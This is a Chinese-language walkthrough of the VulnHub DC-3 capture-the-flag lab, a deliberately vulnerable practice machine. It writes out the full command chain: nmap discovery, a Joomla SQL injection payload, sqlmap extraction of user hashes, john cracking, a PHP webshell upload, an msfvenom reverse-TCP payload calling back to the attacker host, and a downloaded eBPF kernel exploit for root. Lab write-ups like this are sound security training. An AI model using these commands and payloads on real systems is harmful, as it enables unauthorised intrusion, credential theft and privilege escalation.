靶场搭建
靶场下载地址:DC: 3.2 ~ VulnHub
下载镜像(Mirror版本)
下载下来的文件为 .OVA压缩文件,直接导入vmvare指定解压位置即可
网卡设置和攻击机KALI保持一致即可,这里我选择NAT模式
开机,这里我碰到一个问题
根据提示修改磁盘配置,选择使用物理驱动器,点击高级
将IDE改为IDE0:0
开机成功,靶场搭建完毕
渗透测试
首先明确目标,只有一个目标,并且没有提示
由于不知道靶机IP地址,所以使用nmap扫描整个网段
nmap -sP -T4 192.168.48.0/24
发现136和139两台主机(1,2,254是网关和广播地址)
136是KALI攻击机,所以靶机地址为192.168.48.139
对靶机进行扫描
只开放了80端口,存在web
访问web
CMS搭建的网站
上网搜索joomla的历史漏洞CVE-2015-8562 反序列化漏洞、CVE-2017-8917 SQL注入漏洞
使用msf 搜索search功能看看有没有相应检测或利用模块
search CVE-2015-8562
发现相应模块
尝试进行利用
set RHOSTS 192.168.48.139
exploit
利用失败,不存在CVE-2015-8562漏洞
尝试利用下一个漏洞
search CVE-2017-8917
找到相应模块
尝试进行利用
利用失败
这两个漏洞都不行,只能用漏扫工具了,kali自带joomscan工具用于扫描joomla漏洞
joomscan扫描结果说明:
[+] FireWall Detector ---- 防火墙探测器
[+] Detecting Joomla Version ---- 探测Joomla的版本
[+] Core Joomla Vulnerability ---- 核心Joomla的脆弱性
[+] Checking Directory Listing ---- 检查目录清单
[+] Checking apache info/status files ---- 检查apache info/status文件
[+] admin finder ---- 后台登录界面
[+] Checking robots.txt existing ---- 检查robots.txt文件是否存在
[+] Finding common backup files name ---- 查找常用备份文件名称
[+] Finding common log files name ---- 查找常用日志文件名称
[+] Checking sensitive config.php.x file ---- 查找敏感的config.php.x文件
joomscan常用用法:
执行默认检测
joomscan --url www.xxxx.com
枚举已安装的组件
joomscan --url www.xxxx.com --enumerate-components
设置cookie
joomscan --url www.xxxx.com --cookie "test=demo;"
设置user-agent
joomscan --url www.xxxx.com --user-agent "....."
joomscan --url 192.168.48.139
扫描出版本号和几个敏感目录和后台登录网址
浏览了一下这些铭感目录都没有线索,搜索对应版本号的漏洞,发现此版本确实存在CVE-2017-8917,但是之前使用msf没有利用成功
看了下漏洞详情,发现注入点在/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml
验证一下漏洞
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
发现确实存在漏洞
使用sqlmap
sqlmap -u "http://192.168.48.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --batch --level=5 --random-agent -p list[fullordering]
-u 指定url
--batch 默认选择,不进行交互
--level=[0-5] 测试等级
--random-agent 随机头
-p 指定注入参数
注入成功
爆库名 -dbs
爆表名 -D joomladb -tables
爆列名 -D joomladb -T #_users -columns
这里没有爆出,因为--batch默认no了一些选项,去掉--batch参数,都选yes
成功爆出
爆数据 - -D joomladb -T #_users -dump
将hash保存到一个文件中
vi dc3pass
使用工具john破解得到明文密码
john dc3pass
成功登录后台
发现可以上传文件,上传php一句话木马
用蚁剑连接
连接成功
但是只是www权限,需要提权
Linux提权
1、内核提权(脏牛肉提权)
2、suid提权
3、sudo提权
4、数据库提权
sudo -l 查看特权命令
发现没有特权命令
suid提权,通过命令find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见root权限文件
nmap
vim
find
bash
more
less
nano
cp
没有可以提权的命令
现在试试内核提权
使用msf生成一个php马
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.48.136 lport=4444 -f raw
上传马之后,进行监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.48.136
exploit
访问文件
成功收到会话
挂起会话 background
使用msf的推荐提权模块
use post/multi/recon/local_exploit_suggester
set SESSION 1
exploit
没有搜索到
看内核
不是完整shell,使用pyhton中的pty模块反弹一个完整的shell环境
python -c 'import pty;pty.spawn("/bin/bash")'
uname -r 查看内核版本
lsb_release -a 查看系统信息
使用kali自带searchsploit功能搜索
searchspolit 4.4.x
查看详细信息
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
下载相应exp
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
使用蚁剑上传到靶机
在msf上执行exp
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
提权成功
cd /root
cat the-flag.txt